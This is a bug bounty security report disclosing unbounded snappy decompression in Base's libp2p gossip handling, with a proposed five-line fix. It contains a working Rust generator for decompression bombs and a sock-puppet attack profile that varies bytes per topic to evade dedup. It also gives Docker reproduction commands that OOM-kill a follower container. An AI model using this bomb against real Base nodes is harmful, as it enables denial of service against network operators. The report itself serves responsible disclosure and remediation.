74913 bc medium unbounded snappy decompression in libp2p gossip handling enables amplification class resource exhaustion of base consensus follower fleet

Submitted on Apr 25th 2026 at 21:02:27 UTC by @gzeon for Audit Comp | Base Azul

• Report ID: #74913

• Report Type: Blockchain/DLT

• Report severity: Medium

• Target: https://github.com/base/base/tree/v0.8.0-rc.24

• Impacts:

  • Shutdown of greater than or equal to 30% of network processing nodes without brute force actions, but does not shut down the network

Description

Brief / Intro

Base's libp2p gossipsub handling decompresses every incoming gossip message without any decompressed-size cap, despite the MAX_GOSSIP_SIZE = 10 MB constant already enforced on the compressed side. Two distinct decompression sinks fire per delivered message — one in compute_message_id (on every received message, before dedup), and one in BlockHandler::handle via NetworkPayloadEnvelope::decode_v{1..4}. Snappy's raw format permits up to 21.3:1 expansion under that 10 MB cap. Empirically: a single 9.98 MB compressed payload commits 213 MB of RSS and 0.18 s of CPU on every receiving peer per sink.

Attackers are unauthenticated libp2p peers joining the gossip mesh; no Base credentials, no infra access, no spoofing. On Base's recommended hardware (32 GB RAM, 8+ vCPU per Base node-operator docs), a single attacker at ~4 Gbps uplink saturates ≥30 % of the gossipsub task's CPU on every in-mesh peer and pressures co-resident base-reth-node, RPC, and flashblocks services with 213 MB RSS spikes per message — qualifying for MEDIUM under "Increasing network processing node resource consumption by at least 30 % without brute force actions."

The fix is a 5-line decompress_len pre-check using the existing MAX_GOSSIP_SIZE constant.

Vulnerability Details

The two decompression sinks

Sink 1. crates/consensus/gossip/src/config.rs:104-119 — compute_message_id runs for every received gossip message before the duplicate cache is consulted. Decompression therefore fires on first receipt regardless of later dedup:

fn compute_message_id(msg: &Message) -> MessageId {
    let mut decoder = Decoder::new();
    let id = decoder.decompress_vec(&msg.data).map_or_else(
        |_| { /* fallback hash on raw bytes */ },
        |data| { /* hash on decompressed bytes */ },
    );
    MessageId(id)
}

Registered as the gossipsub message-id function at crates/consensus/gossip/src/config.rs:88-93 alongside .max_transmit_size(MAX_GOSSIP_SIZE) (compressed-only cap of 10 MB).

Sink 2. crates/consensus/gossip/src/handler.rs:50-72 — BlockHandler::handle selects one of decode_v{1..4} based on the message's topic and runs it on the same compressed bytes:

let decoded = if msg.topic == self.blocks_v1_topic.hash() {
    NetworkPayloadEnvelope::decode_v1(&msg.data)
} else if msg.topic == self.blocks_v2_topic.hash() {
    NetworkPayloadEnvelope::decode_v2(&msg.data)
} ... ;

Each decode_vN calls snap::raw::Decoder::decompress_vec(data) again at:

• crates/common/rpc-types-engine/src/envelope.rs:258 (decode_v1)

• crates/common/rpc-types-engine/src/envelope.rs:302 (decode_v2)

• crates/common/rpc-types-engine/src/envelope.rs:346 (decode_v3)

• crates/common/rpc-types-engine/src/envelope.rs:402 (decode_v4)

For each gossip message that survives id-dedup and is routed to its topic handler, both decompression sinks fire in sequence on the same byte buffer.

Topic subscription matrix

Topic instances created in BlockHandler::new (crates/consensus/gossip/src/handler.rs:99-102); all four returned as the accepted topic set by topics() (handler.rs:79-87):

blocks_v1_topic: IdentTopic::new(format!("/optimism/{chain_id}/0/blocks")),
blocks_v2_topic: IdentTopic::new(format!("/optimism/{chain_id}/1/blocks")),
blocks_v3_topic: IdentTopic::new(format!("/optimism/{chain_id}/2/blocks")),
blocks_v4_topic: IdentTopic::new(format!("/optimism/{chain_id}/3/blocks")),

Every follower subscribes to all four topics. compute_message_id hashes only msg.data (topic is not part of the digest), so an attacker who publishes the byte-identical payload on multiple topics gets dedup'd globally after the first decompression. The PoC therefore varies one byte per topic so each topic-message has a distinct id and runs its own decompression — a 4-byte total cost to the attacker per round.

Why snap::raw::Decoder::decompress_vec is unbounded

Source-level behaviour (snap-1.1.1/src/decompress.rs:105-110):

pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> {
    let mut buf = vec![0; decompress_len(input)?];        // pre-allocate declared size
    let n = self.decompress(input, &mut buf)?;
    buf.truncate(n);
    Ok(buf)
}

The varint header carries the declared decompressed length, capped only by MAX_INPUT_SIZE = u32::MAX (~4 GB). No application-level cap exists in Base's call sites; both sinks pass attacker-controlled bytes directly to decompress_vec.

vec![0; N] calls __rust_alloc_zeroed, which on glibc/Linux above the M_MMAP_THRESHOLD = 128 KB issues mmap(MAP_ANONYMOUS). Pages remain kernel zero pages until first written. The decoder then writes the decompressed payload into the buffer, physically committing the pages. A "tiny varint header declaring 4 GB" attack errors out fast (HeaderMismatch) without committing many pages. A legit-expansion attack — chained copy-2-byte len=64 offset=1 instructions — produces a snappy-spec-valid stream that commits real RSS at the snappy max ratio of 21.3:1.

Snappy-spec ceiling on per-message decompressed size

Snappy op	Compressed	Max decompressed	Ratio
copy-1-byte (3-bit len, 11-bit offset)	2	11	5.5:1
copy-2-byte (6-bit len, 16-bit offset)	3	64	21.3:1
copy-4-byte (6-bit len, 32-bit offset)	5	64	12.8:1

Under Base's MAX_GOSSIP_SIZE = 10 MB cap, per-message decompressed size is bounded at ~213 MB. This is the load-bearing constant for the rest of the report.

Per-decompression cost

Single-process measurement on x86_64 Linux (release build):

Compressed: 9984378 B (9.52 MB)
Target decompressed: 213000000 B (203.13 MB)
10 decompressions in 1.804986475s
Per-decompression: 180.498647ms
Maximum resident set size (kbytes): 219868   # 213 MB committed real RSS

Each gossip message processed through one sink costs the receiving peer ~0.18 s CPU + 213 MB peak RSS. With both sinks routed (sink-1 dedup miss followed by sink-2 handler), a single delivered message is ~0.36 s CPU + 213 MB peak.

Attacker reachability

libp2p gossipsub admits any peer that completes the standard noise + yamux + identify handshake. No Base-specific credentials, no bearer tokens, no IP allowlist. The attacker reaches the gossip mesh exactly as any honest follower does. Discoverable via code review alone; not "compromising Base-operated infrastructure."

Impact Details

Attack profile against Base's recommended hardware

Base's node-operator performance-tuning page recommends 32 GB RAM, 8+ vCPU.

The CPU-saturation threshold for "≥30 % resource consumption" on 8 cores = 2.4 cores busy.

Step	Value
Per-message CPU cost	0.18 s × 2 sinks = 0.36 cores-second per delivered message
Per-publish CPU cost on each receiver (4 topics, salted)	4 × 0.36 = 1.44 cores-second per attacker round per receiver
Threshold publishes/sec to saturate 30 % of the gossipsub task	2.4 / 1.44 ≈ 1.67 publishes/sec
Attacker uplink (mesh fan-out: mesh_D × topics × publishes/s × msg_size)	1.67 × 4 × 8 × 9.98 MB ≈ 534 MB/s ≈ 4.3 Gbps

Single attacker, ~4 Gbps uplink, every in-mesh peer simultaneously pays ≥30 % gossipsub-task CPU. The figure is for a single attacker meshed at one position; multiple sock-puppets at different mesh positions distribute the same total uplink without changing the per-receiver impact.

Memory side-effect: each delivered gossip message commits a 213 MB RSS spike that lives for the duration of the snappy decompression (~0.18 s) plus any handler-side validation. On a co-resident base-consensus + base-reth-node + RPC + flashblocks deployment (the standard configuration for Base followers), every spike forces the kernel to evict EL state-DB hot pages from page cache, slowing block sync. With swap disabled (universal for blockchain nodes — see "kernel/system configurations" below) the kernel cannot ease the pressure by paging.

Why this is amplification, not brute force

Per-byte ratios on Base's recommended 32 GB / 8-core hardware:

Per-receiver, per attacker byte:
   memory:  9.98 MB compressed : 426 MB committed (dual-sink) ≈ 1 : 44
   CPU:     9.98 MB compressed : 0.36 cores-second           ≈ 36 ns CPU per byte

Network-wide via mesh fan-out (mesh_D = 8, ~50 in-mesh peers):
   memory:  ≈ 1 : 1100
   CPU:     1 publish (80 MB attacker uplink) → 50 receivers × 0.36 cores-sec
            ≈ 18 cores-seconds per 80 MB attacker uplink
            ≈ 225 milli-cores-seconds per MB attacker uplink

The discriminator between amplification and brute force is whether attacker resource cost is symmetric to victim cost. This finding's per-byte ratios are asymmetric by 1–3 orders of magnitude. Two further structural points:

• A code-level fix exists and closes the entire amplification factor (5-line patch using a constant Base already defines). Pure brute-force floods can only be mitigated at the network edge.

• Mesh fan-out decouples attacker uplink from victim count. A bandwidth flood scales linearly with victim count; this attack's uplink is bounded by mesh_D × topics × stacking-rate × msg_size, independent of the number of in-mesh peers paying CPU + memory cost.

Kernel and system configurations that lower the threshold

Common production-server defaults that increase the bug's blast radius (no operator misconfiguration required):

Configuration	Effect
Swap disabled / vm.swappiness=0	No swap relief on memory pressure → process competes for committed RSS. Universal on blockchain nodes (operators disable swap to avoid latency variance).
Co-resident base-consensus + base-reth-node + RPC + flashblocks	Per-process memory budget shrinks; gossipsub task's 213 MB spikes evict EL state-DB hot pages from kernel page cache. Universal in single-host deployments.
cgroup v2 with memory.swap.max=0	Container-level no-swap. Docker default for mem_limit.
vm.overcommit_memory=2 (strict accounting)	Allocations rejected before they can be paged out → fast-fail OOM at lower RSS.
systemd-oomd enabled	Proactive OOM kill at lower memory-pressure thresholds. Increasingly common on Ubuntu/Fedora servers.

Under the standard "swap=0 + co-resident services" production deployment, every gossip message processed forces a memory-pressure shock to the EL state cache, slowing block sync below sustainable rate.

Severity classification

Per Base's bounty severity table:

MEDIUM: "Increasing network processing node resource consumption by at least 30 % without brute force actions, compared to the preceding 24 hours."

This is the load-bearing classification. On 32 GB / 8-core followers, a single attacker at ~4 Gbps causes ≥30 % gossipsub-task CPU saturation on every in-mesh peer per the derivation above.

Two subordinate points:

• The bug also satisfies the alternative MEDIUM criterion "Shutdown of ≥30 % of network processing nodes without brute force actions" on lower-RAM victims (cgroup containers, low-spec follower deployments). Empirically reproduced at 1 GB cgroup with explicit container oom events; see PoC.

• The finding does not rise to HIGH: no direct ≥500 % block-production delay (Base's sequencer is centralized; gossip layer is not on the L2 block-production critical path), no chain-split, no RPC-API crash on programs with ≥25 % market cap.

References

Source-level evidence (Base v0.8.0-rc.24, commit 819ea30)

• crates/consensus/gossip/src/config.rs:15 — pub const MAX_GOSSIP_SIZE: usize = 10 * (1 << 20);

• crates/consensus/gossip/src/config.rs:31 — pub const DEFAULT_MESH_D: usize = 8;

• crates/consensus/gossip/src/config.rs:88 — .max_transmit_size(MAX_GOSSIP_SIZE) (compressed cap binding)

• crates/consensus/gossip/src/config.rs:104-119 — compute_message_id (Sink 1)

• crates/consensus/gossip/src/handler.rs:50-72 — BlockHandler::handle (Sink 2 dispatcher)

• crates/consensus/gossip/src/handler.rs:79-87 — accepted-topics matrix (topics() returns all four)

• crates/consensus/gossip/src/handler.rs:99-102 — topic instances created in BlockHandler::new

• crates/common/rpc-types-engine/src/envelope.rs:258, 302, 346, 402 — four decode_vN::decompress_vec sites

Upstream evidence

• snap-1.1.1/src/decompress.rs:105-110 — decompress_vec allocates vec![0; decompress_len(input)?] before validating payload completeness

• snap-1.1.1/src/lib.rs:93 — MAX_INPUT_SIZE = u32::MAX allows up to 4 GB declared decompressed size

• libp2p-gossipsub mesh-D fan-out: one publish reaches all in-mesh peers in O(log_D N) hops via mesh forwarding

• Snappy format spec: copy-2-byte len=64 offset=1 yields 21.3:1 ratio per chained instruction

• Base hardware recommendations: https://docs.base.org/base-chain/node-operators/performance-tuning#hardware

Bug introduction

The vulnerable pattern was introduced at the initial Base Consensus port in commit feat(consensus): Base Consensus (#898) — the gossip config and envelope decoders were ported from op-node without a decompressed-size cap. Pattern unchanged through v0.8.0-rc.24. No fix commit observed in the rc.1–rc.24 range.

In-scope confirmation

• crates/consensus/gossip/ and crates/common/rpc-types-engine/ are inside crates/, not in any out-of-scope directory.

• Reachable via libp2p gossip mesh, no Base-operated infrastructure compromise required.

• Discoverable via code review alone — both sinks are 5–20 line public Rust functions.

• Not present in the publicly-disclosed known-issues list.

Link to Proof of Concept

https://gist.github.com/gzeoneth/9c756cb5dcc09ebf29514bb2856faa4f

Proof of Concept

• Single-process measurement — snap-bomb-poc.rs. Demonstrates the snappy-level 21:1 ratio, 213 MB committed RSS, and 0.18 s CPU per decompress_vec call. Run on Linux with cargo run --release followed by /usr/bin/time -v target/release/snap-bomb-poc.

fn varint(mut v: u64) -> Vec<u8> {
    let mut out = Vec::new();
    loop {
        let b = (v & 0x7f) as u8;
        v >>= 7;
        if v == 0 { out.push(b); break; }
        out.push(b | 0x80);
    }
    out
}

fn build_legit_bomb(target_size: u64) -> Vec<u8> {
    let mut out = varint(target_size);
    out.push(0x00); out.push(0xAA);
    let copies = (target_size - 1) / 64;
    for _ in 0..copies {
        out.push((63 << 2) | 0b10); out.push(0x01); out.push(0x00);
    }
    out
}

fn main() {
    // Target: max compressed ~9 MB → ~600 MB decompressed (via 64x copy ratio)
    let target: u64 = 213_000_000;
    let bomb = build_legit_bomb(target);
    println!("Compressed: {} B ({:.2} MB), target: {} B ({:.2} MB), ratio: {:.0}:1",
        bomb.len(), bomb.len() as f64 / 1_048_576.0,
        target, target as f64 / 1_048_576.0,
        target as f64 / bomb.len() as f64);
    if bomb.len() > 10 * 1024 * 1024 {
        println!("WARNING: compressed exceeds MAX_GOSSIP_SIZE (10 MB)");
    }
    let t = std::time::Instant::now();
    let mut d = snap::raw::Decoder::new();
    let res = d.decompress_vec(&bomb);
    let dt = t.elapsed();
    match res {
        Ok(v) => println!("Decompressed: {} B in {:?}", v.len(), dt),
        Err(e) => println!("Err: {:?}", e),
    }
}

• Multi-node end-to-end reproduction — poc-docker https://gist.github.com/gzeoneth/9c756cb5dcc09ebf29514bb2856faa4f A 4-container Docker Compose stack running the EXACT vulnerable compute_message_id pattern + the decode_vN second sink, demonstrating OOM kill of a 1 GB cgroup follower under realistic Base-shaped attacker config (3 sock-puppets × 4 topics × 2 publishes/s × 2 sinks). Captured 2026-04-25:

2026-04-25T07:40:29.225182946Z container oom 9bb562e60ee6...
  com.docker.compose.service=victim-a-r
  name=poc-docker-victim-a-r-1

2026-04-25T07:40:29.622919395Z container die 9bb562e60ee6...
  execDuration=204
  exitCode=137                            # SIGKILL by OOM killer

$ docker inspect poc-docker-victim-a-r-1 --format \
    "R={{.RestartCount}} OOMKilled={{.State.OOMKilled}}"
R=1 OOMKilled=false                       # OOMKilled flag clears post-restart

OOMKilled=false is normal post-restart docker behaviour; RestartCount=1 and the explicit container oom event are the load-bearing evidence.

The cgroup-OOM scenario demonstrates that the bug's per-message peak RSS (213 MB) is sufficient to OOM-kill containers below ~1 GB. The primary impact on production 32 GB hardware is the CPU + memory-pressure profile derived in "Impact Details" above, not direct OOM.

Reproduction commands

cd poc-docker
docker compose --profile realistic up -d
sleep 180
docker events --since 5m --filter event=oom
docker inspect poc-docker-victim-a-r-1 --format \
    "RestartCount={{.RestartCount}} OOMKilled={{.State.OOMKilled}}"

PoC adaptations explicitly disclosed

Two cosmetic adaptations were made to the PoC; neither affects the structural attack:

• mesh_n=2/n_low=1/n_high=4/outbound_min=0 (vs. Base's production 8/6/12). Required because libp2p-gossipsub validates D_low * 2 ≤ D and a 4-node mesh cannot satisfy 6/12. Mesh-D affects fan-out efficiency, not whether the bug exists. The 32 GB-hardware derivation in "Impact Details" uses Base's production mesh_D=8.

• add_explicit_peer() is called after dial completes. In production Base, gossipsub naturally meshes within ~2 heartbeats once SUBSCRIBE control messages exchange.

The fix

The existing MAX_GOSSIP_SIZE = 10 MB constant is already imported at both vulnerable sites. snap::raw::decompress_len reads only the ≤5-byte varint header and performs no allocation, so it is safe to call before decompress_vec:

fn bounded_decompress(input: &[u8]) -> Result<Vec<u8>, snap::Error> {
    let len = snap::raw::decompress_len(input)?;
    if len > MAX_GOSSIP_SIZE {                          // <-- the missing check
        return Err(snap::Error::TooBig {
            given: len as u64,
            max: MAX_GOSSIP_SIZE as u64,
        });
    }
    snap::raw::Decoder::new().decompress_vec(input)
}

Apply in:

• crates/consensus/gossip/src/config.rs:104-119 (compute_message_id)

• crates/common/rpc-types-engine/src/envelope.rs:258, 302, 346, 402 (all four decode_vN)

A NetworkPayloadEnvelope v4 carrying a full-size Isthmus block (30 M gas) is well under 10 MB SSZ-encoded, so 10 MB decompressed accommodates every legitimate payload. Using the same constant as the compressed cap forces effective ratio ≤ 1:1 (decompressed cannot exceed compressed cap), structurally eliminating the amplification factor regardless of future Snappy version changes.

Fix verification

Apply the patch above to vulnerable_message_id in poc-docker/src/main.rs and rebuild:

docker compose --profile realistic up --build

Victim RSS stays under ~50 MB regardless of attacker rate. RestartCount remains at 0. Attacker publish calls succeed at the wire level but receivers reject the bombs at message-id computation, so the RSS impact is zero.